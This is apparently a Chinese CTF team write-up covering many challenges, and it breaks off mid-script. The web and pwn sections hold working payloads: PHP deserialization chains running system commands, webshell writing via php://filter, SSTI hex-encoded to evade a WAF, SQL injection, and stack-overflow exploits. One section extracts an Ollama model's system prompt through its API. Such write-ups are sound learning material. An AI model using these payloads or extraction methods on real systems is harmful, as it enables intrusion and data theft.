前言

比赛时间非常得长,有些题目上线了,中间也下了一些题目,但是后面好像就没有上新题目了。
队伍名字:flag 排名:15

解题情况全解
Misc
玫坏的压缩包

压缩包是损坏的

没有文件头,可以看到里面有word 补一下文件头就行
但是可以不用补直接binwalk就行


查看

document.xml

flag{w3_w111_411_60_fur7h3r_4nd_fur7h3r}
Ollama Prompt Injection

看名字应该就是一个AI题目 nc无法连接

通常 Ollama 的 API 默认监听在 11434 端口,这里被映射到了 55859
获取模型列表:使用 /api/tags 接口查看服务器上安装的模型。
http://challenge.qsnctf.com:55872/api/tags
或者 curl http://challenge.qsnctf.com:55872/api/tags


发现自定义模型:ctf-model:latest
提取系统提示词:使用 /api/show 接口导出该模型的详细配置,可能flag 作为系统预设指令藏在其中。
curl http://challenge.qsnctf.com:55872/api/show -d '{"name": "ctf-model:latest"}'

或者使用 HackBar 插件

qsnctf{de7199c3085c47028de9cbae460dd2c7}
哦

一个哦010查看内容

可以发现pk头但是被反转了 按照8字节反转回来
py3脚本
import struct
def solve():
input_file = "哦"
output_file = "flag.zip"
try:
with open(input_file, 'rb') as f:
content = f.read()
except FileNotFoundError:
print(f"找不到文件: {input_file},请确认文件名或路径。")
return
recovered_data = bytearray()
# 全文按8字节块反转的
chunk_size = 8
for i in range(0, len(content), chunk_size):
chunk = content[i : i + chunk_size]
recovered_data.extend(chunk[::-1])
with open(output_file, 'wb') as f:
f.write(recovered_data)
print(f"处理完成!已生成文件: {output_file}")
print(" flag.zip 。")
if __name__ == '__main__':
solve()
有加密

不是伪加密,爆破无解,只能已知明文进行爆破了

bkcrack.exe -C flag.zip -c a.png -x 0 89504E470D0A1A0A0000000D49484452
d590788c b34e73fb 40e733d1
有key了直接解压


图片进行foremost可以得到两张图片进行双图盲水印

python bwmforpy3.py decode 2.png 1.png 3.png


flag{01d38cf8-e6f9-11f0-8fcd-11155d4a}
qr

缩小就行

手机扫码或者改变颜色电脑可以扫码

flag{56876aae7cb7b98a3756bac05c6b6675}
QSNCTF


灵异事件

0110011001101100011000010110011101111011001101000110010000110010001101000011011101100001011000110011001100110001001101100110001000110001011000110110011000110111011001010110011000110101001100110110000100110001001101010011100101100011001100110011000000110001001101100110001001100001011000100011100101111101
二进制转ASCII

flag{4d247ac316b1cf7ef53a159c3016bab9}
找到呆唯

先base64转图片jpg

010查看
发现还有base64转图片提取在转图片就行

exp.py
import base64
with open('string.txt', 'r') as f:
content = f.read()
start_index = content.find('iVBORw0KGgoAAA')
if start_index != -1:
img_data_b64 = content[start_index:]
img_data = base64.b64decode(img_data_b64)
with open('haha.png', 'wb') as f:
f.write(img_data)
print("成功提取 haha.png")
else:
print("未找到 PNG 数据头")
出来二维码扫描就行

flag{iam_here!!!}
好,把他们上市
已知明文爆破就行


需要用 Python 的 zlib 库把它解压一下
exp.py
import zlib
try:
with open('pass.txt', 'rb') as f:
data = f.read()
print(f"[-] 读取到数据长度: {len(data)}")
decompressed_data = zlib.decompress(data, -15)
print(f"[+] 解压成功!原始文件大小: {len(decompressed_data)} 字节")
header = decompressed_data[:8].hex().upper()
print(f"[+] 真实文件头: {header}")
ext = "txt"
if header.startswith("89504E47"):
ext = "png"
print("[!] 这是一个 PNG 图片!")
elif header.startswith("FFD8FF"):
ext = "jpg"
elif header.startswith("504B0304"):
ext = "zip"
out_filename = f"real_pass.{ext}"
with open(out_filename, 'wb') as f:
f.write(decompressed_data)
print(f"[+] 已保存为: {out_filename} (快去打开它!)")
except Exception as e:
print(f"[x] 解压失败: {e}")
print("提示:如果报错,请尝试改用 bkcrack -U 命令生成一个新的 zip 文件直接打开。")
pass.txt是一个png

扫描

得到压缩包密码
1145141919810
解压7z

flag,base64解密就行

记得后面的!!!
flag{What_WAS_Y0ur_MISS0N_in_ShangHAI!!!}
消失的Yui


领宽字符

可以知道flag格式
txt每个都有emj 可以提取出来进行base100解密
👫👟👜👧👘👪👪📦💳💑👋👩👐👖👫👦👖🐽🐨👅👛👖👤🐪

得到压缩包密码
TrY_to_F1Nd_m3
里面二维码扫描得到 但是需要key key应该在txt里面
z2qbTYV1U4vpBNoL7jEGcAFyrLpTnlNQdi4OuFxsFl8=

第一部分: 钟楼指针指向“十一时四十五分” -> 数字 1145
第二部分: 档案柜的隔层编号为“14”与“19” -> 数字 14 和 19
第三部分: 学术期刊的年份是“1981” -> 数字 1981
第四部分: 仪器刻度盘显示“零点” -> 数字 0
1145141919810
rc4解密就行

31°49′14″N 117°13′38″E

合肥
flag{hefei}
Web
S1签到

群公告

Q5NC7F-51

qsnctf{efc9734c06274023aee974e8aaa91f2b}
easy_php


PHP 反序列化 (POP 链构造)题目
入口点:unserialize($_GET['code']),存在反序列化漏洞。
过滤:preg_match('/flag/i', $input) 禁止输入中出现 flag 字符串。
POP 链分析:
起点:Monitor::__destruct()。当对象销毁时,如果 $status 为 "danger",调用 $this->reporter->alert()。
跳板:我们需要将 $reporter 替换为 Screen 类的一个实例。
终点:Screen::alert()。该方法执行动态函数调用 $func($this->content)。
逻辑:
构造一个 Monitor 对象,将 $status 设为 danger。
然后将 Monitor 的 $reporter 属性设为一个 Screen 对象。
设置 Screen 的 $format 为 system(执行命令)。
设置Screen的$content 为cat /f*
使用通配符 * 为了绕过代码中对 flag关键词的正则过滤。Shell 会将 /f* 解析为 /flag,这样就可以了
Payload
<?php
class Monitor {
private $status = "danger";
private $reporter;
public function __construct($obj) {
$this->reporter = $obj;
}
}
class Screen {
public $content = "cat /f*"; // 使用通配符绕过 preg_match
public $format = "system"; // 调用 system 函数执行命令
}
// 1. 创建 Screen 对象,用于执行命令
$screen = new Screen();
// 2. 创建 Monitor 对象,并将 reporter 指向 screen。
$monitor = new Monitor($screen);
// 3. 输出 URL 编码后的 Payload
echo urlencode(serialize($monitor));
?>

访问 URL:
http://challenge.qsnctf.com:52694/?code=O%3A7%3A%22Monitor%22%3A2%3A%7Bs%3A15%3A%22%00Monitor%00status%22%3Bs%3A6%3A%22danger%22%3Bs%3A17%3A%22%00Monitor%00reporter%22%3BO%3A6%3A%22Screen%22%3A2%3A%7Bs%3A7%3A%22content%22%3Bs%3A7%3A%22cat+%2Ff%2A%22%3Bs%3A6%3A%22format%22%3Bs%3A6%3A%22system%22%3B%7D%7D

qsnctf{711160717847437d8dcb16093b91b948}
silent_logger


SQL注入的题目
数据库:SQLite(后面测试发现 information_schema不存在,但 sqlite_master存在)。
就可以说明数据库用的是SQLite
爆表名:
构造 Payload 查询 sqlite_master`表:
-1' UNION SELECT 1, group_concat(tbl_name), 3 FROM sqlite_master WHERE type='table' --
得到目标表:flags。

爆列名:
SQLite 中需查看建表语句 (sql 字段) 来得知列名:
-1' UNION SELECT 1, sql, 3 FROM sqlite_master WHERE tbl_name='flags' --

获取 flag:
查询 flags 表的 value 列:
-1 UNION SELECT 1, value, 3 FROM flags --

qsnctf{4ed7dedc44da4df8836977b4044b6e63}
Serialization


漏洞入口在unserialize($_POST['data']) 触发反序列化。
POP 链:AuditLog::__toString() 调用 $this->handler->process(),利用 FileCache::process() 写入文件。
绕过发现写入文件时头部强制拼接了 <?php exit(...); ?>。
解决:就利用 PHP 伪协议 php://filter/write=convert.base64-decode就行因为 exit 语句中的 Base64 有效字符数为 33 个,补 3 个字符(aaa)凑齐 36 个(4的倍数),使头部解码为乱码,从而绕过退出指令执行后方的 Webshell。
Payload
<?php
class AuditLog {
public $handler;
}
class FileCache {
public $filePath;
public $content;
}
$x = new AuditLog();
$x->handler = new FileCache();
$x->handler->filePath = 'php://filter/write=convert.base64-decode/resource=shell.php';
$x->handler->content = 'aaa' . base64_encode('<?php system("cat /f*");?>');
echo urlencode(serialize($x));
?>


访问:http://challenge.qsnctf.com:52815/shell.php

qsnctf{f41640613076473182404ee0fdbfac08}
时间胶囊留言板


逻辑漏洞,就是后端没有校验时间限制
解题步骤
F12 查看源代码。
发现接口:在 JavaScript 代码中发现数据请求接口 get_content.php?id=,同时在 HTML 列表中发现未解封的 flag 留言对应的 ID 为 content-2( id=2)。
构造请求:后端并没有验证当前时间是否到达解封日期,直接访问接口即可绕过前端限制。
访问地址:http://challenge.qsnctf.com:55741/get_content.php?id=2

qsnctf{f3762adeca6943ccb33c8dc476c68610}
preg_replace


分析
题目代码如下:
echo preg_replace("/(.*)/e", "\1", $input);
在 PHP 5.x 中,preg_replace 函数的 /e 修饰符会将替换字符串作为 PHP 代码执行。这说明变量 $input 的内容会被 eval 执行。
绕过限制
直接传入 system('ls') 会因为函数内部自动转义单引号导致语法错误(syntax error)。
绕过:使用 $_GET[a] 作为中间变量传递命令字符串,避免在 data 参数中直接出现引号。
利用 Payload:?data=system($_GET[a])&a=命令 就可以了
Payload:
http://challenge.qsnctf.com:55833/?data=system($_GET[a])&a=ls

http://challenge.qsnctf.com:55833/?data=system($_GET[a])&a=ls /

http://challenge.qsnctf.com:55833/?data=system($_GET[a])&a=cat /flag

qsnctf{dff12d1dd44749e1a40d91306f659e8c}
CallBack


题目用 array_map($callback, [0,1,2,3]),这意味着用户传入的函数会被执行,但参数被强制固定为数字 0-3。因此,system 等命令执行函数无法使用(system(0) 无效)。
可以用 phpinfo() 函数。
它接受整数参数,忽略参数,符合题目,它会将服务器的所有环境变量打印出来
Payload
http://challenge.qsnctf.com:55842/?callback=phpinfo

qsnctf{c893c0079b974676b4dbffad9c43b7d8}
答案之书


模板注入、WAF 绕过
题目是 Python Flask 环境。在输入框输入 {{7*7}},页面回显 49,确认存在 Jinja2 SSTI 漏洞。

尝试输入 {{config}}、{{flag}} 或 {{''.__class__}},页面提示“禁忌之语”或报错。
题目设置了黑名单,过滤了 os、flag、system、popen、__globals__ 等敏感关键词。


绕过思路(Hex编码)
既然过滤的是明文关键词,我们可以利用 Python 支持 十六进制字符串(Hex) 的特性来绕过。
如:os 可以写成 x6fx73,WAF 认不出这是 os,但 Python 后端执行时会自动还原。
同时,为了避免使用点号 `.` 可能带来的过滤,使用字典中括号 ['...'] 的形式调用属性。
构造链条:
找一个内置对象 (lipsum 或 url_for) -> 获取全局变量 (__globals__) -> 引入 os 模块 -> 调用 popen 执行命令 -> read 读取结果。
将链条中的所有字符串转换为 Hex 编码:
globals -> x5fx5fx67x6cx6fx62x61x6cx73x5fx5f
os -> x6fx73
popen -> x70x6fx70x65x6e
cat /flag -> x63x61x74x20x2fx66x6cx61x67`
Payload
使用lipsum 模块
/?question={{lipsum['x5fx5fx67x6cx6fx62x61x6cx73x5fx5f']['x6fx73']['x70x6fx70x65x6e']('x63x61x74x20x2fx66x6cx61x67')['x72x65x61x64']()}}
或者使用url_for模块
/?question={{url_for['x5fx5fx67x6cx6fx62x61x6cx73x5fx5f']['x6fx73']['x70x6fx70x65x6e']('x63x61x74x20x2fx66x6cx61x67')['x72x65x61x64']()}}
或者使用cycler 模块
/?question={{cycler['x5fx5fx69x6ex69x74x5fx5f']['x5fx5fx67x6cx6fx62x61x6cx73x5fx5f']['x6fx73']['x70x6fx70x65x6e']('x63x61x74x20x2fx66x6cx61x67')['x72x65x61x64']()}}
上面的经过测试都可以

qsnctf{5fea3d1543084859aa2963913b900b27}
编程
两数之和

这 PPC 题目,要求与服务器交互,在短时间内完成 100 轮计算。核心是 两数之和 问题:在给定列表中找到两个数,使其和等于目标值,并返回它们的索引和数值。

提取数据:使用正则表达式从服务器返回的文本中解析出 List 数组和 Target 目标值。
解:使用双重循环遍历数组,找到满足 nums[i] + nums[j] == target 的两项。
发送:将结果格式化为 (idx1,idx2,num1,num2) 发送回服务器,循环 100 次直至获得 flag。
py3脚本呈现
from pwn import *
import re
context.log_level = 'error'
try:
conn = remote('challenge.qsnctf.com', 52538)
while True:
try:
data = conn.recvuntil(b'>').decode()
print(data, end='')
list_match = re.search(r'List = [(.*?)]', data)
target_match = re.search(r'Target = (d+)', data)
if not list_match or not target_match:
rest = conn.recvall().decode()
print(rest)
break
nums = list(map(int, list_match.group(1).split(',')))
target = int(target_match.group(1))
result = None
for i in range(len(nums)):
for j in range(i + 1, len(nums)):
if nums[i] + nums[j] == target:
result = (i, j, nums[i], nums[j])
break
if result:
break
if result:
payload = str(result).replace(" ", "")
conn.sendline(payload.encode())
else:
break
except EOFError:
print(conn.recvall().decode())
break
except Exception:
break
except Exception as e:
print(e)

qsnctf{53083ee3a86644bab418cf4b95b2e7ed}
回文数


编程题。

交互逻辑:连接服务器后,服务器会不断发送一个整数,要求判断是否为回文数(正读和反读一样)。
核心:在于猜测服务器要求的返回格式。常见的有 yes/no、1/0 或 True/False,本题要求返回 True 或 False (首字母大写)。
解:编写脚本,正则提取数字,利用字符串切片翻转判断 s == s[::-1],循环提交即可。
py脚本呈现
from pwn import *
import re
context.log_level = 'error'
try:
conn = remote('challenge.qsnctf.com', 52622)
while True:
try:
data = conn.recvuntil(b'Input>').decode()
nums = re.findall(r'-?d+', data)
if not nums:
print(data)
print(conn.recvall().decode())
break
target = nums[-1]
if target == target[::-1]:
conn.sendline(b'True')
else:
conn.sendline(b'False')
except EOFError:
try:
print(conn.recvall().decode())
except:
pass
break
except Exception:
break
except Exception as e:
print(e)

qsnctf{c9ab78dcf1aa48a18d57cc169256d010}
罗马数字转整数


PPC 题目。题目要求在多轮交互中接收服务器发送的罗马数字字符串,如 CDXXXVI,将其转换为十进制整数并发送回服务器,完成所有轮次即可获得 flag。
思路,提取:通过正则表达式 ([IVXLCDM]+) 提取题目给出的罗马数字串。
算法
建立映射表:I:1, V:5, X:10, L:50, C:100, D:500, M:1000。
遍历字符串:若当前位数字 < 下一位数字(如 IV 中的 I),则减去当前位;否则加上当前位。
循环处理每一轮直到连接断开就得到 flag了。
py脚本呈现
from pwn import *
import re
context.log_level = 'error'
def roman_to_int(s):
roman = {'I': 1, 'V': 5, 'X': 10, 'L': 50, 'C': 100, 'D': 500, 'M': 1000}
res = 0
for i in range(len(s)):
if i + 1 < len(s) and roman[s[i]] < roman[s[i+1]]:
res -= roman[s[i]]
else:
res += roman[s[i]]
return res
try:
io = remote('challenge.qsnctf.com', 52627)
while True:
try:
data = io.recvuntil(b'>').decode()
match = re.search(r'Round d+:s+([IVXLCDM]+)', data)
if match:
r_num = match.group(1)
ans = roman_to_int(r_num)
io.sendline(str(ans).encode())
else:
print(data)
print(io.recvall().decode())
break
except EOFError:
print(io.recvall().decode())
break
except Exception as e:
print(e)

qsnctf{d49ce31229f14a87bef5e248d708fca0}
最长公共前缀

交互逻辑:服务器发送一个包含若干字符串的列表,要求找出这些字符串的最长公共前缀。
核心:在于快速解析数据和调用算法。
解
解析:利用正则表达式 [.*?] 匹配列表字符串,使用 eval() 将其转为 Python 列表。
算法:Python 的标准库 os.path.commonprefix(list) 本质上就是按字符比较返回最长公共前缀,直接使用,不用手写循环
py3脚本呈现
from pwn import *
import re
import os
context.log_level = 'error'
try:
conn = remote('challenge.qsnctf.com', 52640)
while True:
try:
data = conn.recvuntil(b'>').decode()
match = re.search(r'[.*?]', data, re.DOTALL)
if match:
str_list = eval(match.group(0))
ans = os.path.commonprefix(str_list)
conn.sendline(ans.encode())
else:
print(data)
print(conn.recvall().decode())
break
except EOFError:
print(conn.recvall().decode())
break
except Exception as e:
print(e)

qsnctf{e3ac062cfc2742b990a71f63c9165f6f}
有效的括号

有效括号算法题
交互逻辑:服务器发送包含 ()[]{} 的字符串,要求判断括号闭合是否合法。
解题算法:
使用栈 (Stack)
遇到左括号 ( [ {:压入栈中。
遇到右括号 ) ] }:弹出栈顶元素,检查是否匹配。如果栈为空或不匹配,则为 False。
最后若栈为空,则为 True。
返回格式:题目明确要求 True或 False(区分大小写)。
思路
使用 re.findall(r'[(){}[]]+', data) 提取题目中的括号字符串。
定义 is_valid 函数实现栈的判断逻辑。
循环接收并发送结果,直到拿到 flag。
py脚本呈现
from pwn import *
import re
context.log_level = 'error'
def is_valid(s):
stack = []
mapping = {")": "(", "}": "{", "]": "["}
for char in s:
if char in mapping:
top_element = stack.pop() if stack else '#'
if mapping[char] != top_element:
return False
else:
stack.append(char)
return not stack
try:
io = remote('challenge.qsnctf.com', 52663)
while True:
try:
data = io.recvuntil(b'Input>').decode()
matches = re.findall(r'[(){}[]]+', data)
if not matches:
if "{" in data or "flag" in data.lower():
print(data)
print(io.recvall().decode())
break
target = ""
else:
target = matches[-1]
if is_valid(target):
io.sendline(b'True')
else:
io.sendline(b'False')
except EOFError:
print(io.recvall().decode())
break
except Exception as e:
print(e)

qsnctf{a21182a3ab8f4f5faac754585f4caaa5}
上下火车


斐波那契数列的数学规律题
把每一站车上的人数状态拆开,全用已知变量 a(始发站人数)和未知数 u(第二站上车人数)的系数来表示。
把每一站车上的人数状态拆开,全用已知变量 a(始发站人数)和未知数 u(第二站上车人数)的系数来表示。
推导每一站的系数逻辑:
第 1 站:总人数 1a + 0u
第 2 站:总人数 1a + 0u,但这站上车了 u 人,会直接影响后面的递推。
从第 3 站开始,上车人数是前两站上车之和,下车是上一站上车人数。离开这一站的总人数就等于:前一站总人数 + 这一站上车人数 - 这一站下车人数。
开四个数组,分别存每一站 上车人数的 a 系数、上车人数的 u 系数、总人数的 a 系数、总人数的 u 系数,写个 for 循环一路推到底。
算到第 n-1 站时,题目给出终点站(第 n 站)下车人数是 m,这就意味着离开第 n-1 站时,车上的总人数就是 m。
拿第 n-1 站的总人数公式:ca * a + cu * u = m,直接反推出未知数 u 的值:u = (m - ca * a) // cu。
算出真正的 u 以后,去数组里查第 x 站的系数,代入 a 和 u 算出具体人数发过去。pwntools 写正则提取参数,循环跑 100 轮得flag。
py3脚本呈现
from pwn import *
import re
context.log_level = 'warn'
def solve():
try:
r = remote('challenge.qsnctf.com', 55627)
r.recvuntil(b'Good luck!')
for _ in range(100):
prefix = r.recvuntil(b'Target station (x):').decode()
x_text = r.recvline().decode().strip()
n = int(re.search(r'Stations (n): (d+)', prefix).group(1))
a = int(re.search(r'Initial (a): (d+)', prefix).group(1))
m = int(re.search(r'Total at n-1 (m): (d+)', prefix).group(1))
x = int(x_text)
if x == n:
ans = 0
else:
up_a = [0] * (n + 1)
up_u = [0] * (n + 1)
tot_a = [0] * (n + 1)
tot_u = [0] * (n + 1)
up_a[1] = 1; up_u[1] = 0
tot_a[1] = 1; tot_u[1] = 0
if n >= 2:
up_a[2] = 0; up_u[2] = 1
tot_a[2] = 1; tot_u[2] = 0
for i in range(3, n + 1):
up_a[i] = up_a[i-1] + up_a[i-2]
up_u[i] = up_u[i-1] + up_u[i-2]
tot_a[i] = tot_a[i-1] + up_a[i-2]
tot_u[i] = tot_u[i-1] + up_u[i-2]
idx_m = n - 1
ca = tot_a[idx_m]
cu = tot_u[idx_m]
if cu == 0:
u = 0
else:
u = (m - ca * a) // cu
ans = tot_a[x] * a + tot_u[x] * u
r.sendline(str(ans).encode())
print(f"Round {_ + 1}/100 solved")
r.interactive()
except Exception as e:
print(f"Error: {e}")
if __name__ == '__main__':
solve()

qsnctf{5c48772f393d41a69ac5d46e7df10639}
Pwn
好多“后”门!


有附件
ExeinfoPe 查询

32位



int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdout, 0);
setbuf(stdin, 0);
setbuf(stderr, 0);
Team();
return 0;
}
Team
int Team()
{
char buf; // [esp+8h] [ebp-90h]
puts((const char *)&unk_8049930);
fflush(stdout);
read(0, &buf, 0x100u);
puts(&buf);
printf("Did you not read the question? ");
return fflush(stdout);
}
漏洞点在Team 函数:
变量位置:char buf 位于 [ebp-90h]。
漏洞点:read(0, &buf, 0x100u) 读取了 0x100 (256) 字节,而 buf 只有 0x90 (144) 字节,存在栈溢出。
后门函数:题目有多个干扰函数(fake…),目标函数为 f4ck_backdoor_flag。
计算偏移
需要覆盖 buf 的空间和旧的 EBP才能修改返回地址。
Offset = 0x90(十进制 144) + 4 (32位 EBP 长度) = 148。
思路
就是直接 Ret2text 技术就可,填充 148 个垃圾字符,将返回地址覆盖为 f4ck_backdoor_flag的地址,就行了
exe.py
from pwn import *
p = remote('challenge.qsnctf.com', 52856)
elf = ELF('./pwn')
offset = 148
backdoor = elf.symbols['f4ck_backdoor_flag']
payload = b'a' * offset + p32(backdoor)
p.sendline(payload)
p.interactive()

qsnctf{8b79a0189e39405896f7b30eceb62faa}
study_system

有附件

IDA 反编译
漏洞位于 gk 函数。

在 IDA 中查看该函数,发现存在栈溢出漏洞:
程序定义了一个缓冲区,位于 ebp-0x5C (92字节)。
程序调用 read(0, buf, 0x68) 读取了 104 字节。
溢出空间:104 - 92 = 12 字节。
这正好足够覆盖 Saved EBP (4字节) 和 Return Address (4字节),可以进行 栈迁移 (Stack Pivot)。
此外,该函数在 read 之前调用了 close(1),关闭了标准输出,导致普通的 system("/bin/sh") 无法回显。
利用逻辑
Payload :
利用 12 字节的溢出,将 EBP 修改为 BSS 段的一个安全地址(bss_addr + 0x5c)。
将返回地址修改为 0x804aef5(push 1; call close 处)。
这会使程序执行完当前的 leave; ret 后,栈帧迁移到 BSS 段,并重新执行 read 函数,这次读取的数据将写入 BSS 段。
Payload :
此时输入的数据会被写入 BSS 段。
构造 ROP 链调用 system 函数。
关键点:由于 stdout 被关闭,我们需要执行的命令是 cat flag >&0,将结果重定向回标准输入(socket),从而拿到 flag。
exp.py
from pwn import *
import time
context.log_level = 'debug'
context.binary = elf = ELF('./pwn')
p = remote('challenge.qsnctf.com', 38901)
bss_addr = elf.bss() + 0x600
if bss_addr % 0x10 != 0:
bss_addr = (bss_addr & ~0xF) + 0x10
system_plt = elf.plt['system']
leave_ret = ROP(elf).find_gadget(['leave', 'ret'])[0]
pivot_addr = 0x804aef5
p.recvuntil(b'5.Byen')
p.sendline(b'4')
p.recvuntil(b'What preparations have you made?n')
payload1 = b'A' * 92
payload1 += p32(bss_addr + 0x5c)
payload1 += p32(pivot_addr)
payload1 = payload1.ljust(104, b'x00')
p.send(payload1)
time.sleep(0.5)
cmd_str = b'cat flag >&0x00'
payload2 = p32(system_plt)
payload2 += p32(0xDEADBEEF)
payload2 += p32(bss_addr + 12)
payload2 += cmd_str
payload2 = payload2.ljust(92, b'x00')
payload2 += p32(bss_addr - 4)
payload2 += p32(leave_ret)
payload2 = payload2.ljust(104, b'x00')
p.send(payload2)
p.interactive()

qsnctf{67dcb68c911d4c8296b8820891802670}
Reverse
ezpy

pyinstxtractor 进行解包


pycdc.exe进行反编译ezpy.pyc

# Source Generated with Decompyle++
# File: ezpy.pyc (Python 3.8)
def check_flag(flag):
if not flag.startswith('flag{') or flag.endswith('}'):
return False
core = None[5:-1]
key = [
19,
55,
66,
102]
enc = []
for i, c in enumerate(core):
enc.append(ord(c) ^ key[i % len(key)])
target = [
118,
91,
53,
1,
117,
86,
48,
19]
return enc == target
def main():
user_input = input('Input your flag: ').strip()
if check_flag(user_input):
print('Correct! 🎉')
else:
print('Wrong flag ❌')
if __name__ == '__main__':
main()
加密逻辑如下:
截取 flag{}中间的字符串。
将字符串与 key数组进行循环异或。
比较结果是否等于 target 数组。
py脚本呈现
target = [118, 91, 53, 1, 117, 86, 48, 19]
key = [19, 55, 66, 102]
flag_core = ""
for i, c in enumerate(target):
flag_core += chr(c ^ key[i % len(key)])
print(f"flag{{{flag_core}}}")

flag{elwgfaru}
EasyRSA?


查壳: C# (.NET) 编写,无壳。,ILSpy打开
逻辑:在CheckMe.Form1类中找到button1_Click 函数。
代码逻辑如下:
获取输入字符串,UTF-8 编码并反转字节序(对应 BigInteger 的小端序特性,实际等于构建了大端序整数)。
进行 RSA 加密运算:BigInteger.ModPow(value, exponent, modulus)。
将结果与硬编码的密文 text 进行比对。

// CheckMe.Form1
using System;
using System.Numerics;
using System.Text;
using System.Windows.Forms;
private void button1_Click(object sender, EventArgs e)
{
if (string.IsNullOrWhiteSpace(textBox1.Text))
{
MessageBox.Show("效验值不能为空", "提示", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
return;
}
try
{
byte[] bytes = Encoding.UTF8.GetBytes(textBox1.Text);
Array.Reverse(bytes);
byte[] array = new byte[bytes.Length + 1];
Array.Copy(bytes, array, bytes.Length);
array[array.Length - 1] = 0;
BigInteger value = new BigInteger(array);
BigInteger exponent = new BigInteger(3);
BigInteger modulus = BigInteger.Parse("139906397693819072650020069738596428398031056847078650722938421657851057538054976098647199375778966594569804403764522779998221022521589609634646037802060716905855507095146407052611429717736127575527226826221045673236950913759662383017581323909723145061976871530014985740162801140394142912236064962190443170959");
BigInteger bigInteger = BigInteger.ModPow(value, exponent, modulus);
string text = "2217344750798660611960824139035634065708739786485564450254905817930548259011086486194666552393884157042723116691899397246215979757440793411656175068361811329038472101976870023549368315569713807716791321322016687562917756728015984717774303119415642719966332933093697227475301";
if (bigInteger.ToString() == text)
{
MessageBox.Show("验证成功!Flag正确。", "成功", MessageBoxButtons.OK, MessageBoxIcon.Asterisk);
}
else
{
MessageBox.Show("验证失败,请重新输入。", "错误", MessageBoxButtons.OK, MessageBoxIcon.Hand);
}
}
catch (Exception ex)
{
MessageBox.Show("发生错误:" + ex.Message, "异常");
}
}
漏洞,代码中的加密参数:
Modulus (N): 非常大 (1024位左右)。
Exponent (e): 3。
Ciphertext ©: 已知。
RSA 低加密指数攻击,由于 e=3,e=3 极小,且明文长度有限,极大概率满足 m3<nm3<n。此时 RSA 的取模运算未生效,只需对密文 cc 直接开三次根号即可还原明文。
py3代码呈现
import gmpy2
from Crypto.Util.number import long_to_bytes
e = 3
c = int("2217344750798660611960824139035634065708739786485564450254905817930548259011086486194666552393884157042723116691899397246215979757440793411656175068361811329038472101976870023549368315569713807716791321322016687562917756728015984717774303119415642719966332933093697227475301")
# N 不需要用到,因为 m^3 < N
# 2直接开三次方根
m, exact = gmpy2.iroot(c, e)
if exact:
#Python 直接转字符就OK了
print(long_to_bytes(m).decode())
else:
print("解密失败")

flag{8a5e3e5eac499995bd10c17f8bc9c954}
AES?

和RSA一样就是加密改了

一样的程序,用 ILSpy 打开目标程序。
定位:在 Form1 类中找到 button1_Click函数。
逻辑:程序获取用户输入,进行 AES 加密,并将加密结果与硬编码的 Base64 字符串进行比对。

参数提取
分析 C# 代码,提AES 解密所需的关键参数:
密文 :
v6XOdOAcNjXvbD8NSHvRdr98ZSVzUvCY9Kdi8DU4DMZ+IFteVt2XpayB3jSDfOsf
Base64编码
模式 Mode:AES / CBC / PKCS7 Padding。
密钥 Key:
代码逻辑为将 q1s1c1t1f1 放入 16 字节数组中。
实际值:q1s1c1t1f1 后补 6 个 0x00。
偏移量 IV:
代码为 new byte[16],默认为全 0x00。
py3代码呈现
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64
cipher_text = base64.b64decode("v6XOdOAcNjXvbD8NSHvRdr98ZSVzUvCY9Kdi8DU4DMZ+IFteVt2XpayB3jSDfOsf")
key = b"q1s1c1t1f1".ljust(16, b'x00') # 补齐到16字节
iv = b'x00' * 16 # 全0 IV
# 2. AES 解密
try:
aes = AES.new(key, AES.MODE_CBC, iv)
decrypted = unpad(aes.decrypt(cipher_text), AES.block_size)
print("Flag:", decrypted.decode('utf-8'))
except Exception as e:
print("Error:", e)

flag{4f7786120450144791741bd082bfdb58}
CheckME


RSA 逆向题目是小公钥指数攻击的变种
exp.py
import sys
n = 139906397693819072650020069738596428398031056847078650722938421657851057538054976098647199375778966594569804403764522779998221022521589609634646037802060716905855507095146407052611429717736127575527226826221045673236950913759662383017581323909723145061976871530014985740162801140394142912236064962190443170959
c = 2217344750798660611960824139035634065708739786485564450254905817930548259011086486194666552393884157042723116691899397246215979757440793411656175068361811329038472101976870023549368315569713807716791321322016687562917756728015984717774303119415642719966332933093697227475301
def solve():
k = 0
while True:
target = k * n + c
low = 0
high = target
found = False
m = 0
while low <= high:
mid = (low + high) // 2
cube = mid * mid * mid
if cube == target:
found = True
m = mid
break
elif cube < target:
low = mid + 1
else:
high = mid - 1
if found:
try:
flag = m.to_bytes((m.bit_length() + 7) // 8, 'big').decode()
print(flag)
break
except:
pass
k += 1
if __name__ == '__main__':
solve()

flag{8a5e3e5eac499995bd10c17f8bc9c954}
muffin_cake
加密主要在sub_140003F40


加密逻辑
输入字符先异或 0x66,然后减去 120(发生8位无符号整数溢出截断),最终结果与硬编码数组 v6 进行逐字节比对。
公式:cipher = (plain ^ 0x66) - 120
解题
定位到 sub_140003F40 的 for 循环(次数为37)。
提取出栈中赋值的 37 字节密文数组 v6。
根据加密公式逆推:将密文加 120,在 Python 中按 & 0xFF 模拟 uint8 溢出,再异或 0x66 即可还原明文。
exp.py
v6 = [-97, -99, -112, -115, -102, -120, -91, -105, -37, -80, -39, -63, -77, -101, -88, -120, -33, -112, -63, -83, -81, -107, -35, -63, -118, -85, -110, -33, -115, -33, -34, -69, -37, -31, -31, -31, -93]
flag = "".join([chr(((c + 120) & 0xFF) ^ 0x66) for c in v6])
print(flag)

qsnctf{i5N7_MuFf1n_CAk3_dEl1c10U5???}
oi_feelings

32×32 迷宫,动态规划DP / TLS反调试与数据加密


TlsCallback_0 数据初始化/解密
在main函数运行前执行,对 dword_140029000 数组的前3个元素循环异或 9,对 dword_140029010 数组(32x32的迷宫地图)循环异或 0x123。


main (输入验证)
校验flag长度为70,格式为 qsnctf{...}。中间的62个字符必须是解密后的字符 '1' 和 '2'。

sub_1400010B0 (迷宫逻辑)
迷宫起点(0,0),限制走62步。字符 '1' 代表x+1(向右),字符 '2' 代表y+1(向下)。要求走到(31,31)终点时,路径上所有格子的权值累加和等于解密后的目标值 0xb7e5 (47077)。
思路
路径求和问题。先从PE文件中直接提取出 .data 段的迷宫数组和校验数据,分别异或还原。然后使用动态规划(DP)遍历 32x32 地图,记录到达每个格子可能产生的所有路径权值和对应的操作字符,最后在终点字典中匹配目标值 0xb7e5 即可拿到内部flag
exp.py
import struct
def get_pe_data(path, rva, size):
with open(path, 'rb') as f:
f.seek(0x3C)
pe = struct.unpack('<I', f.read(4))[0]
